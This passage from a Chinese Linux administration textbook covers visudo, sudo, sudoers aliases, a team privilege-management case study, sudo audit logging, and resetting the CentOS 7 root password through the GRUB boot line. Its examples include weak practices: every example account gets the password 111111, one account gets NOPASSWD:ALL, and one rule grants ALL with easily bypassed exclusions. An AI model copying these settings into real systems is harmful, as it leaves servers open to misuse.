visudo命令是专门用来编辑/etc/sudoers这个文件的，同时它还提供了语法检查等功能。/etc/sudoers文件是sudo命令（见下文）的配置文件。
 
【语法格式】
 


visudo  [option]  

visudo  [选项]  




 
【选项说明】
 
表14-16针对visudo命令的参数选项进行了说明。
 
表14-16　visudo命令的参数选项及说明
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14.13.2　visudo命令范例
 
范例14-22：执行visudo对普通用户oldboy和oldgirl授权的例子。
 
执行如下visudo命令，即可打开sudo的配置文件进行编辑：
 


[root@oldboy ~]# visudo    #<==相当于直接执行vim /etc/sudoers编辑，但使用命令方式更安全，推荐此种方式。




 
在/etc/sudoers文件的大约第100行下面添加需要提升为root权限的普通用户名及对应权限，格式如下：
 


oldboy  ALL=（ALL）                     ALL  #<==此行是第98行，将oldboy提权为root身份。

oldgirl  ALL=（ALL）                    /usr/sbin/useradd, /usr/sbin/userdel 

     #<==授权oldgirl使其可以以root身份添加和删除用户权限。

     #<==分别对oldboy和oldgirl两个用户做不同的授权，如上。




 
其中，visudo或者vi/etc/sudoers，可在100行下面加入，也可以在其他位置加入。
 
上述授权内容对应的说明见表14-17。
 
表14-17　sudo提权配置说明
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[image: ]提示：如果oldgirl用户被授予上述权限，那么它可以在所有的机器上以所有的角色运行useradd、userdel命令，而oldboy用户则会拥有与root相同的权限，并且可以切换到root账户。
 
如果是针对用户组，则对应的授权命令如下：
 
%用户组　机器=（授权使用哪个角色的权限）/usr/sbin/useradd
 
通过sudo命令进行系统的授权管理的目的是，既能让运维人员正常工作，又不会威胁到系统的安全，还可以审计用户使用sudo的提权操作命令，默认的用户是无法获得root权限的。
 
为了管理方便，工作中可以为oldboy授权ALL权限，oldboy既可管理整个系统，平时也可以使用oldboy用户处理工作，而不使用root用户。
 
范例14-23：检查sudoer文件语法的例子。
 
有的时候，用户并不是使用visudo（保存时会自动检查语法）编辑的sudoer文件，而是使用vim或者echo等命令编辑的sudoer文件，此时就需要执行如下命令检查编辑文件的语法是否正确，如果语法不正确，则可能会导致授权无法生效的问题。
 
例如，工作中若有批量管理用户的需求，那么使用快速操作命令增加sudo授权，就需要单独执行语法检查，快速操作命令如下：
 


\cp /etc/sudoers /etc/sudoers.ori

echo "oldboy  ALL=（ALL）NOPASSWD: ALL " >>/etc/sudoers

tail -1 /etc/sudoers




 
上述操作是直接追加内容到sudoers文件，并没有进行语法检查，因此需要单独执行语法检查命令：
 


[root@oldboy ~]# visudo -c  #<==使用-c选项进行语法检查。

/etc/sudoers: parsed OK




 
关于visudo的更多相关知识，请参考sudo命令一节。
14.14　以另一个用户身份执行命令：sudo
 
14.14.1　sudo命令介绍
 
sudo命令可以让普通用户在执行指定的命令或程序时，拥有超级用户（也可以是其他用户）的权限，并且可以有针对性地（精细）将不同命令或程序授予指定的普通用户，同时普通用户不需要知道root密码就可以得到授权，这个授权可以使用visudo配置管理。
 
【语法格式】
 


sudo  [option] 

sudo  [选项]  




 
【选项说明】
 
表14-18针对sudo命令的参数选项进行了说明。
 
表14-18　sudo命令的参数选项及说明
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14.14.2　sudo命令范例
 
范例14-24：查看用户被visudo授权后拥有的权限。
 
在14.14.1节，我们已经对oldboy用户进行了授权，此时再以oldboy用户的身份登录系统，就可以通过执行类似于sudo ls-l/root（sudo后面加上正常命令）的命令来以root用户的权限管理系统了，命令如下：
 


[oldboy@oldboy ~]$ ls /root

ls: cannot open directory /root: Permission denied 

#<==可以看到，oldboy用户是无法直接访问/root家目录的

[oldboy@oldboy ~]$ sudo ls /root #<==如果授权配置中含有NOPASSWD，则执行时将不提示密码，否则会要求输入当前用户的密码。

anaconda-ks.cfg  install.log  install.log.syslog  

#<==通过sudo命令，使得oldboy用户具备访问/root目录的权限。




 
对于上述代码段的说明，具体如下：
 
·通过sudo授权管理后，所有用户执行授权的特殊权限格式为“sudo命令”。

·如果需要切换到root执行相关操作，则可以通过“sudo su-”命令，注意，此命令提示的密码为当前用户的密码，而不是root的密码。

·执行“sudo-l”命令可以查看当前用户被授予的sudo权限集合。
 
以下是查看oldgirl用户授权的结果情况：
 


[oldgirl@oldboy ~]$ sudo -l  #<==注意，这里是oldgirl用户，授权较低。

[sudo] password for oldgirl:   #<==提示输入密码，注意是oldgirl用户的密码，而非root密码。

Matching Defaults entries for oldgirl on this host:

User oldgirl may run the following commands on this host:

    （ALL）/usr/sbin/useradd, （ALL）/usr/sbin/userdel #<==查看到的oldgirl用户被授权的权限。




 
·对于Linux系统bash的内置命令，一般无法进行sudo授权，例如，cd命令。
 
sudo授权与su切换的原理示意图如图14-1所示。
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图14-1　su与sudo用户角色切换原理图
 
生产环境中通常会禁止root远程登录，不过，系统会为每个运维人员建立一个普通账号，然后根据运维人员的需求，通过sudo控制登录系统的权限，事实证明这是一个不错的权限管理方式。当然，笔者在生产环境中还使用了ldap统一认证登录及授权管理的方式。即只要有一个账号和密码，即可在全公司多个机房系统内通行无阻（系统登录、SVN、VPN等），有关这部分内容的讲解，在老男孩教育的高级课程中会有涉及。在此，大家了解下即可。
 
普通用户的环境变量问题：在早期的CentOS5系统中，普通用户在执行系统管理相关的命令时会遭遇到环境变量问题，导致找不到执行的命令（CentOS6以后的系统已经不存在这个问题了）。
 
sudo授权对于bash的内置命令处理是个难题，因为内置命令没有实体文件和路径，不过一般都有解决方法，例如可以使用sudo ls替代sudo cd，有的网友使用sudo bash后再使用内置命令，这样做是很危险的，不推荐使用这种方法。
 
14.14.3　sudo扩展知识
 
如图14-2所示的是sudo的工作原理流程图。
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图14-2　sudo的工作原理流程图（学员绘制）
 
【时间戳文件位置】
 
以下命令可用于查看CentOS5.8的时间戳文件位置：
 


[root@C58_x86_64 ~]# ll /var/run/sudo/

总计 4

drwx------ 2 root oldboy-01 4096 08-25 12:21 oldboy-01




 
要想查看CentOS6的时间戳文件位置，则要使用如下命令：
 


[root@oldboy ~]# ll /var/db/sudo/

total 4

drwx------ 2 root oldboy 4096 Feb 10 10:35 oldboy #<==初始状态是没有这个文件。




 
若要查看CentOS7的时间戳文件位置，则要使用如下命令：
 


[root@oldboy ~]# ll /var/run/sudo/

total 0

drwx------ 2 root root 40 Mar 30 07:50 ts




 
待用户执行sudo并且输入密码后，用户会获得一张默认存活期为5分钟的“入场券”（默认值可以在编译的时候改变）。但超时以后，用户就必须重新输入密码了。
 
可以使用sudo的-k或-K参数清空sudo用户的时间戳，这样还会提示输入密码，但是如果配置授权对应的用户时加入了NOPASSWD选项，那么执行sudo命令时就永久不会提示输入密码了。
 
【sudo的配置文件/etc/sudoers】
 
以下命令可用于查看sudo的配置文件/etc/sudoers里的内容：
 


[root@oldboy ~]# ll /etc/sudoers

-r--r----- 1 root root 4070 Feb 10 10:37 /etc/sudoers




 
建议使用visudo编辑这个文件，因为该命令带有语法检查，否则一旦出错了，普通用户就会无法使用sudo了。直接在命令行执行visudo即可自动打开/etc/sudoers文件。
 
如果是通过vi来编辑/etc/sudoers，则在保存时要使用“wq！”强制保存，否则会提示只读不能保存的错误，而且最后还要用visudo-c做语法检查，这样做实在是太麻烦了，无特殊要求时建议都使用visudo编辑sudo的配置文件。
14.15　CentOS7系统找回root密码的方法精讲
 
1）重新启动或开启CentOS7.6系统，再选择进入系统的Grub菜单界面，如图14-3所示，根据提示按“e”小写字母进入编辑界面，如图14-4所示。
 
2）然后，按向下方向键（否则可能会看不到想要查找的行），找到以字符串“Linux16”开头的行，将光标移动到该行的结尾，然后输入“init=/bin/bash”，如图14-4所示。
 
[image: ]说明：
 
如果不确定系统是否开启了SeLinux，或者刚装完还没有修改过的系统，则最好使用下面的方法来解决，即在以字符串“Linux16”开头的行，将光标移动到该行的结尾，然后输入“init=/bin/bash enforcing=0”（前者的作用是让系统登录后加载bash解释器，后者的作用是关闭SeLinux），如图14-5所示。
 
 
 [image: ] 


图14-3　CentOS7.6系统Grub菜单界面
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图14-4　CentOS7.6系统Grub菜单进入编辑界面配置图
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图14-5　CentOS7.6系统Grub菜单编辑界面增加关闭Selinux配置图
 
3）配置完成后，根据界面下面的英文提示按Ctrl+x组合键以单用户模式启动Linux，如图14-6所示。
 
 
 [image: ] 


图14-6　单用户模式界面重新挂载修改密码图界面
 
[image: ]说明：
 
·图14-6中的“mount-o rw，remount/”命令用于重新挂载根目录为可写状态（rw表示可写，remount表示重新挂载），在单用户模式下默认根文件系统是处于只读状态。

·也可以在增加内核参数时，将以字符串“Linux16”开头的行中间部分的ro参数改为rw，以替代烦琐的“mount-o rw，remount/”命令，具体修改方法如图14-7所示。
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图14-7　修改内核参数ro为rw配置图
 
4）配置完成后，执行exec/sbin/init命令重启系统，注意，此时，无法使用其他重启命令。特殊强调：如果是系统的SeLinux处于开启状态，并且前文修改内核选项时，没有增加“enforcing=0”选项，则此处需要多执行一条“touch/.autorelabel”命令以便在下次系统引导前重新标记系统中的所有相关文件（如图14-8所示），因为在开启SeLinux时，若在修改root密码时修改password文件则会导致SeLinux安全上下文报错，如果前文在修改内核选项时，已增加了“enforcing=0”选项，那么，在修改密码文件时，SeLinux是处于关闭状态的，因此，这里就不需要执行“touch/.autorelabel”命令了。
 
5）重启系统后验证修改后的密码是否能够登录，若出现如图14-9所示的界面，则表示密码修改并登录成功。
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图14-8　处理SeLinux以及重启系统界面
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图14-9　密码修改并登录成功界面
第15章　Linux系统权限集中管理项目案例实践
 
众所周知，Linux系统权限管理是Linux运维工作的重中之重。若服务器不需要团队协作运维管理，那么超级权限可以集中在一人手中，但是很多时候，企业服务器的数量并不止一台，需要很多运维人员共同管理，甚至还需要为开发人员分配管理服务器的用户账号，因此，如何科学地分配和管理，让每个用户既能达到工作要求又不会越权访问（获得工作需求以外的权限）就显得非常重要了，本章就来讲讲这方面的方案设计与实施案例。
15.1　sudo配置文件/etc/sudoers深入介绍
 
sudo命令对应的用户权限授权配置文件为/etc/sudoers，我们可以使用专用工具visudo来完成有关sudo的授权管理配置，使用visudo工具的好处是在添加规则之后，保存退出时会检查授权配置的语法（这一点很重要，曾经有人直接用vi编辑/etc/sudoers，最后配置发生了错误，造成所有普通用户都无法通过sudo执行命令以及切换到超级root上了）。
 
在授权配置完成以后，可以切换到被授权的用户下，通过sudo-l命令可以查看哪些超级权限命令是可以执行的。
 
15.1.1　/etc/sudoers配置语法注意事项
 
·命令别名下的成员必须是文件或目录的绝对路径。

·别名名称包含大写字母、数字、下划线等，如果是字母则都要大写。

·一个别名下包含多个成员，成员与成员之间，通过半角“，”号进行分隔；成员必须是有效且实际存在的。

·别名成员受别名类型Host_Alias、User_Alias、Runas_Alias、Cmnd_Alias的制约，定义什么类型的别名，就要有什么类型的成员与之相配。

·别名规则是每行算一个规则，如果一行容不下，则可以通过“\”来续行。

·指定切换的用户要用“（）”（括号）括起来。如果省略括号，则默认为root用户；如果括号里是ALL，则代表能够切换到所有用户。

·如果希望不需要密码就直接运行命令，则应该加上“NOPASSWD：”参数。

·若想禁止某类程序或命令执行，则要在命令动作前面加上“！”号，并且放在允许执行命令的后面。

·用户组前面必须加“%”号。
 
15.1.2　/etc/sudoers配置文件别名知识
 
sudoers文件中的别名类型（Alias_Type）包括如下四种。
 
1）Host_Alias，表示定义主机别名，实际配置语法如下：
 


Host_Alias     FILESERVERS = fs1, fs2     #<==请注意定义规范，“=”号两边最好有空格。

Host_Alias     MAILSERVERS = smtp, smtp2  #<==请注意定义规范，每个成员之间用逗号进行分隔。




 
关于Host_Alias的说明具体如下。
 
·在生产场景中，一般不需要设置主机别名，在定义授权规则时可以通过ALL来匹配所有的主机。

·请注意上面定义的规范，有些规范虽然不是必需的，但最好能够按照系统的标准来进行配置，这样可以避免意外问题的发生。

·其实，主机名就是一个逻辑上的主机组，当多台服务器共享一个/etc/sudoers的时候就会用到这个主机别名。不过，在实际企业运维中，这个需求几乎是不存在的。
 
在sudo实际授权语法规则配置时，第一个ALL的位置就是主机别名的配置位置，示例代码如下：
 


root    ALL=（ALL）      ALL  #<==第一个ALL就是主机别名的应用位置。




 
2）User_Alias，表示定义用户别名，别名成员可以是用户、用户组（用户组前面要加“%”号），实际配置语法如下：
 


User_Alias ADMINS = jsmith, mikem, %groupname

#<==提示：设置用户别名也不是必需的，更多情况下，可以通过“%groupname”的方式一次性设定用户组配置，以后若有成员增加，则将新成员加入准备好的用户组就可以了。




 
3）Runas_Alias，表示定义runas别名，这个别名指定的是授权的“用户身份”，即sudo允许切换到的用户身份。
 
Runas_Alias定义的是可以执行sudo命令身份的用户，实际配置语法如下：
 


Runas_Alias  OP = root




 
实际工作中都是普通用户需要转换到root身份，普通用户之间权限相同，极少有授权其他普通用户身份的需求。
 
4）Cmnd_Alias，表示定义命令别名，命令别名就是定义一个别名，然后别名里面包含一堆命令，即一组相关命令的集合，实际配置语法如下：
 


## Command Aliases

## These are groups of related commands...

## Networking

Cmnd_Alias NETWORKING = /sbin/route, /sbin/ifconfig, /bin/ping, /sbin/dhclient, /usr/bin/net, /sbin/iptables, /usr/bin/rfcomm, /usr/bin/wvdial, /sbin/iwconfig, /sbin/mii-tool

## Installation and management of software

Cmnd_Alias SOFTWARE = /bin/rpm, /usr/bin/up2date, /usr/bin/yum

## Services

Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig

#<==提示：命令别名就是设置一组可以执行的命令集合，可以将不同类的命令分为不同的组，例如，磁盘命令管理组、网络命令管理组等。




 
15.1.3　别名和授权规则配置语法对应关系说明
 
在/etc/sudoers配置文件中，别名和配置语法的对应关系见表15-1。
 
表15-1　/etc/sudoers配置文件中别名和配置语法的对应关系

 
 [image: ]

 
在企业运维工作中，什么情况下会使用到别名知识？
 
解答：当工作中有很多台服务器，每台服务器又包含多个系统用户，需要对用户权限进行严格管理（关键命令的使用）、分层授权管理用户的时候。
 
15.1.4　利用别名配置授权实践案例
 
由于主机别名在工作中极少使用，因此下面的例子中没有使用主机别名，不过其他的别名都有涉及。
 
1.根据管理员管理功能，定义多个用户别名
 
1）定义系统管理用户别名为ADMINS，包含成员oldboy、ett及sa组的成员，命令如下：
 


User_Alias ADMINS = oldboy, ett, %sa   #<==注意定义的规范。




 
2）定义用户别名NETADMINS来管理网络，包含成员leo和maya，命令如下：
 


User_Alias NETADMINS = leo, maya      #<==网络管理员组NETADMINS。




 
3）定义用户别名USERADMINS来管理系统用户，包含成员zuma，命令如下：
 


User_Alias?USERADMINS = zuma          #<==用户管理员组USERADMINS。




 
[image: ]说明：
 
为了方便管理，应尽可能使用有意义的名称作为别名，定义时使用大写字符串。另外，所有定义的用户及用户组内包含的用户成员都必须是系统中存在的用户或存在的组。
 
4）检查并创建上述用户及用户组（用户和用户组都必须存在），命令如下：
 


[root@oldboy ~]# groupadd sa  #<==添加sa组。

[root@oldboy ~]# useradd leo  #<==依次添加5个用户。

[root@oldboy ~]# useradd maya

[root@oldboy ~]# useradd zuma

[root@oldboy ~]# useradd ett

[root@oldboy ~]# useradd oldboy




 
2.根据命令的功能分类定义命令别名
 
1）定义命令别名USERCMD，包含管理系统用户的相关命令，命令如下：
 


Cmnd_Alias  USERCMD = /usr/sbin/useradd, /usr/sbin/userdel, \

/usr/bin/passwd [A-Za-z]*, /bin/chown, /bin/chmod    #<==用户相关命令组USERCMD。




 
2）定义命令别名DISKCMD，包含管理系统磁盘的相关命令，命令如下：
 


Cmnd_Alias  DISKCMD = /sbin/fdisk, /sbin/parted   #<==磁盘管理相关命令组DISKCMD。




 
3）定义命令别名NETMAGCMD，包含管理系统网络的相关命令，命令如下：
 


Cmnd_Alias   NETMAGCMD = /sbin/ifconfig, /etc/init.d/network #<==网络管理命令组。




 
[image: ]说明：
 
1）所有命令别名下的命令都必须使用绝对路径。
 
2）命令别名超过一行时，可以通过“\”号换行续写。
 
3）在定义时，可以使用通配符及正则表达式，例如，/usr/bin/passwd[A-Za-z]*。
 
3.定义授权用户的别名
 
runas别名定义的示例代码如下：
 


Runas_Alias  OP = root, oldboy




 
[image: ]说明：
 
runas别名的定义并不多见，且不常用，因为多数都是需要root身份就够了，默认ALL也可以。
 
4.根据别名配置对应的sudo授权规则
 
1）管理员别名（ADMINS）可以授权所有命令通过sudo进行管理，示例代码如下：
 


ADMINS  ALL=（OP）  DISKCMD,USERCMD,NETMAGCMD




 
2）用户管理员别名（USERADMINS）可以授权与用户命令别名对应的命令通过sudo进行管理，示例代码如下：
 


USERADMINS  ALL=（OP）  USERCMD




 
3）网络管理员别名（NETADMINS）可以授权与网络命令别名对应的命令通过sudo进行管理，示例代码如下：
 


NETADMINS  ALL=（OP） NETMAGCMD




 
这样就完成了对不同的用户授权不同的命令集合，并通过sudo进行管理，让用户对应的权限管理得到了细化。怎么样？很简单吧？
15.2　企业环境中用户权限集中管理项目案例
 
15.2.1　企业运维问题现状
 
当前公司里的服务器或虚拟机数量达到上百台时，各个服务器上的管理人员将会很多（开发+运维+架构+DBA+产品+市场等，他们都有用户权限），在大家登录使用Linux服务器时，不同职能的员工操作水平不同，因此导致操作很不规范，比如，root权限泛滥（几乎大部分人员都有root权限），文件等经常莫名其妙地丢失等。此外，老手和新员工对服务器的熟知程度也不相同，这些都使得公司服务器的安全存在很大的不稳定性及操作安全隐患。据调查，企业服务器环境下，50%以上的安全问题都来自于内部，而不是外部。为了解决单个用户管理权限过大的现状，现提出针对Linux服务器用户权限集中管理的解决方案。
 
15.2.2　项目需求分析
 
我们既希望超级用户root的密码掌握在少数或唯一的管理员手中，又希望多个系统管理员或相关的拥有权限的人员，能够完成更多更复杂的自身职能相关的工作，并且不至于有越权操作导致系统安全隐患。
 
那么，如何实现多个系统管理员都能管理系统而又不让超级权限泛滥的需求呢？这就需要采用sudo管理来替代以往的方式，或者结合su命令来完成这样的苛刻且必要的企业服务器用户管理需求了。
 
15.2.3　项目需求具体实现说明
 
针对公司里的不同部门，根据员工的具体工作职能（例如，开发、运维和数据库管理员），分等级、分层次地实现对Linux服务器管理的权限最小化、规范化。这样既减少了运维管理成本，消除了安全隐患，又提高了工作效率，从而实现高质量、快速化地完成项目进度，以及日常系统维护工作。
 
15.2.4　项目实施过程
 
说明：实施方案一般是由积极主动发现问题的运维人员提出问题，然后写好解决方案，再召集大家讨论可行性，最后确定方案，实施部署，之后就是后期的总结维护了。
 
老男孩思想：在提出问题之前，一定要想到如何解决，并给出解决方案。
 
假设现在你已经写完了权限规划文档（见附录A和附录B）。
 
做项目，相当于一次变法：变法是有代价的，取得“老大”（运维总监、技术总监）的支持极其重要。
 
1.信息采集（含整个方案流程）
 
1）召集相关各部门的领导，通过会议讨论，或者是与各组领导沟通以确定权限管理方案的可行性。
 
需要支持的人员：运维经理或总监、CTO、各部门组的领导。作为运维人员，拿着类似本书介绍的项目方案（本章内容），通过会议形式为大家讲解文档，以期取得各部门组领导的支持和认可，这才是项目能够得以最终实施的前提。当然，即使实施不了，你的能力也得到了锻炼，各部门组领导对你积极主动思考问题的态度也会另眼相看的。
 
2）确定方案的可行性之后，会议负责人汇总、提交、审核所有相关员工对Linux服务器的权限需求。
 
取得各部门组领导的支持后，通过发邮件或者联系相关人员取得相应的权限信息。比如说，请各个部门的经理整理归类本部门需要登录Linux权限的人员名单、职位，以及负责的业务及权限等，如果无法清楚描述权限细节，就描述所负责的业务细节，这样，运维人员就可以确定各相关人员具体需要的权限了（见表15-2）。
 
3）按照需要执行的Linux命令程序及公司业务服务来规划权限和人员的对应配置。
 
主要是运维人员根据上面收集的人员名单、需要的业务及权限角色，并根据对应的账号配置权限，实际上就是配置sudo配置文件。
 
4）权限方案一旦实施之后，所有的员工都必须通过《员工Linux服务器管理权限申请表》来申请对应的权限，确定审批流程，规范化管理。这里实施权限方案之后一定要控制住后期的权限申请流程，否则，大家不按要求来，即使方案实施完也会半途而废的。
 
5）撰写操作说明，对各部门人员进行操作讲解。通过sudo执行命令，若会涉及PATH变量问题，则运维需要提前处理好。
 
表15-2　信息采集表格

 
 [image: ]

 
2.收集员工职能和对应的权限
 
收集员工职能和对应权限的过程需要召集大家开会确定，或者请各组领导安排人员进行统计汇总。将需要权限的人员及对应的工作职责交给运维人员，由运维人员优化职位所对应的系统权限，具体见表15-3至表15-7。
 
表15-3　运维组的级别和权限
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表15-4　开发组的级别和权限
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表15-5　架构组的级别和权限
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表15-6　DBA组的级别和权限
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[image: ]提示：如果授权ALL，那么在进行故障排除时，有时会让我们防不胜防。这种先开后关的策略并不是好的策略。比较好的策略，是白名单机制，即只写授权的命令，不用ALL。
 
表15-7　网络组的级别和权限
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3.模拟创建用户角色
 
1）建立3个初级运维，一个高级运维，一个网络工程师，一个运维经理，密码统一是111111。示例代码如下：
 


for user in chuji001 chuji002 chuji003 net001 senior001 manager001

do

    useradd $user

    echo "111111"|passwd --stdin $user 

done




 
2）建立5个开发人员，属于phpers组。示例代码如下：
 


groupadd -g 999 phpers

for n in `seq 5`

do

    useradd -g phpers php00$n 

    echo "111111"|passwd --stdin php00$n

done

for user in kaifamanager001 seniorphpers

do

    useradd $user

    echo "111111"|passwd --stdin $user 

done




 
3）根据前面的表格配置sudoer文件对应的内容。示例代码如下：
 


##各种别名定义

##Cmnd_Alias by oldboy##2012

Cmnd_Alias   CY_CMD_1 = /usr/bin/free, /usr/bin/iostat, /usr/bin/top, /bin/hostname, /sbin/ifconfig, /bin/netstat, /sbin/route

Cmnd_Alias   GY_CMD_1 = /usr/bin/free, /usr/bin/iostat, /usr/bin/top, /bin/hostname, /sbin/ifconfig, /bin/netstat, /sbin/route, /sbin/iptables, /etc/init.d/network, /bin/nice, /bin/kill, /usr/bin/kill, /usr/bin/killall, /bin/rpm, /usr/bin/up2date, /usr/bin/yum, /sbin/fdisk, /sbin/sfdisk, /sbin/parted, /sbin/partprobe, /bin/mount, /bin/umount

Cmnd_Alias   CK_CMD_1 = /usr/bin/tail /app/log*, /bin/grep /app/log*,\

 /bin/cat, /bin/ls

Cmnd_Alias   GK_CMD_1 = /sbin/service, /sbin/chkconfig, /bin/tail /app/log*, /bin/grep /app/log*, /bin/cat, /bin/ls, /bin/sh ~/scripts/deploy.sh

Cmnd_Alias   GW_CMD_1 = /sbin/route, /sbin/ifconfig, /bin/ping, /sbin/dhclient,\

 /usr/bin/net, /sbin/iptables, /usr/bin/rfcomm, /usr/bin/wvdial, \

/sbin/iwconfig, /sbin/mii-tool，/bin/cat /var/log/*

###########################################################################

## User_Alias by oldboy##2012

User_Alias   CHUJIADMINS = chuji001,chuji002,chuji003

User_Alias   GWNETADMINS = net001

User_Alias   CHUJI_KAIFA = %phpers



##Runas_Alias by old_boy##2012/11/30

Runas_Alias  OP = root



#pri config

senior001        ALL=（OP）  GY_CMD_1

manager001       ALL=（ALL）     NOPASSWD:ALL

#kaifamanager001 ALL=（ALL）ALL, /usr/bin/passwd [A-Za-z]*,!/usr/bin/passwd root, !/usr/sbin/visudo,!/usr/bin/vi *sudoer*

kaifamanager001 ALL=（ALL）ALL, /usr/bin/passwd [A-Za-z]*,!/usr/bin/passwd root, !/usr/sbin/visudo, !/usr/bin/vim,!/bin/vi, !/usr/bin/sudo su -,!/bin/su

#授权规则

seniorphpers ALL=（OP）  GK_CMD_1

CHUJIADMINS  ALL=（OP）  CY_CMD_1

GWNETADMINS  ALL=（OP）  GW_CMD_1

CHUJI_KAIFA  ALL=（OP）  CK_CMD_1

#注意：

1）别名名字要大写。

2）所有命令的路径均要使用全路径，每个命令之间用逗号进行分隔。

3）超过一行用“\”换行。

4）!号表示排除。

5）无法控制Linux Bash内置命令。




 
4.项目结束其他扫尾工作
 
1）配置完毕后，需要使用不同的用户登录实战调试测试。
 
2）调试成功后发邮件周知所有人权限配置生效，并附带操作说明。
 
3）尽快给参与使用的人，进行培训讲解，以确保大家都能熟练操作。
 
4）制定新的权限申请流程及申请表（见附录B）。
 
5.项目结束后的后期维护规则
 
·项目结束后，后期的维护不再是特别紧急的需求，一律走权限申请流程。

·服务器多了，可以通过ansible分发软件批量分发/etc/sudoers文件（注意权限和语法检查）。

·除了进行权限上的控制，在账户有效时间上也要进行限制，这样才能让安全最大化。

·将所有应用服务降权到用普通用户运行，并将所有的程序都放在对应的用户家目录下面。启动的时候也是通过这个账户运行，这样就可以用普通用户权限启动和停止对应服务了。
15.3　记录所有用户执行sudo命令的操作日志
 
所谓sudo命令日志审计，并不是记录普通用户的普通命令操作，而是记录那些执行sudo命令的用户操作。
 
15.3.1　企业日志审计解决方案
 
所谓日志审计，就是记录所有系统及相关用户行为的信息，并且可以自动分析、处理、展示（包括文本或者录像）。
 
方案1，通过环境变量命令及rsyslog服务进行全部日志审计（审计信息太大，不推荐）。
 
方案2，通过sudo的配置参数进行日志审计（审计信息较少，效果不错）。
 
方案3，在bash解释器程序里嵌入一个监视器，让所有被审计的系统用户使用修改过的增加了监视器的特殊bash程序作为解释程序（老男孩教育开源产品）。
 
方案4，齐治堡垒机：商业产品。
 
方案5，Python开源产品：开源跳板机（堡垒机）Jumpserver或CrazyEye（Alex老师开源产品），如果读者会Python，那么可以选择更高大上的开源跳板机产品，老男孩教育的课程中也会讲解这个方案。
 
15.3.2　利用sudo配置日志审计
 
首先增加配置“Defaults logfile=/var/log/sudo.log”到/etc/sudoers中，注意，不包含引号：
 


[root@oldboy ~]# echo "Defaults       logfile=/var/log/sudo.log">>/etc/sudoers




 
sudo日志审计代码比较简单，具体如下：
 


[root@oldboy ~]# tail -1 /etc/sudoers 

 Defaults        logfile=/var/log/sudo.log

[root@oldboy ~]# visudo -c   #<==检查sudoers文件语法

/etc/sudoers file parsed OK




 
此时会自动建立一个/var/log/sudo.log文件（日志中配置的名字），并且文件权限为600（-rw-------），所有者和组均为root（如果看不到日志文件，就退出重新登录看看），实现代码如下：
 


[root@oldboy ~]# ls -l /var/log/sudo.log   #<==确保只有root才能查看。

-rw------- 1 root root 0 Jan 26 00:48 /var/log/sudo.log




 
配置完成后，就可以测试sudo日志审计配置结果了。
 
执行useradd oldboy命令创建oldboy用户，并在visudo中进行如下授权操作：
 


oldboy     ALL=（ALL）     /bin/ls #<==授权oldboy用户以所有用户身份（含root）执行ls命令。




 
然后，切换到oldboy用户下进行测试，代码如下：
 


[root@oldboy ~]# su - oldboy    #<==切换到oldboy用户下。

[oldboy@oldboy ~]$ ls /root     #<==不用sudo操作，提示权限不够。

ls: 无法打开目录/root: 权限不够

[oldboy@oldboy ~]$ sudo ls /root #<==通过sudo执行，可以列出/root下的目录，授权成功。

anaconda-ks.cfg  inno.txt     install.log.syslog install.log  

[oldboy@oldboy ~]$ logout  #<==回到root环境。

[root@oldboy ~]# cat /var/log/sudo.log  #<==已经记录了oldboy的sudo日志执行情况。

Jun 18 08:25:36 : oldboy : TTY=pts/0 ; PWD=/home/oldboy ; USER=root ;

    COMMAND=/bin/ls /root #<==哇，好清晰啊。谁做了什么坏事，一眼就能查到

[root@oldboy ~]# ls -l /var/log/sudo.log 

-rw-------. 1 root oldboy 96 6月  18 08:25 /var/log/sudo.log #<==root权限，普通用户无法删除和修改。




 
从测试结果来看，所有的普通用户执行sudo的命令都被记录监控了，这样一旦出现异常行为，就可以通过日志记录进行追查。
附录A　用户权限授权规划表格参考
 
目前IDC系统账户所有的权限都是超级权限，在安全性方面存在一定的隐患，本着“为用户提供尽可能少的权限但仍允许完成他们的工作”的宗旨，下面的2个表格（表A-1和表A-2）对常用的命令进行了分类和细化。
 
表A-1　权限对照表格

 
 [image: ]

 
表A-2　权限等级授予表格（暂定：如果需要其他权限可根据实际情况进行添加。）

 
 [image: ]

 

 [image: ]

附录B　Linux服务器系统权限申请表
 
表B-1　Linux服务器系统权限申请表
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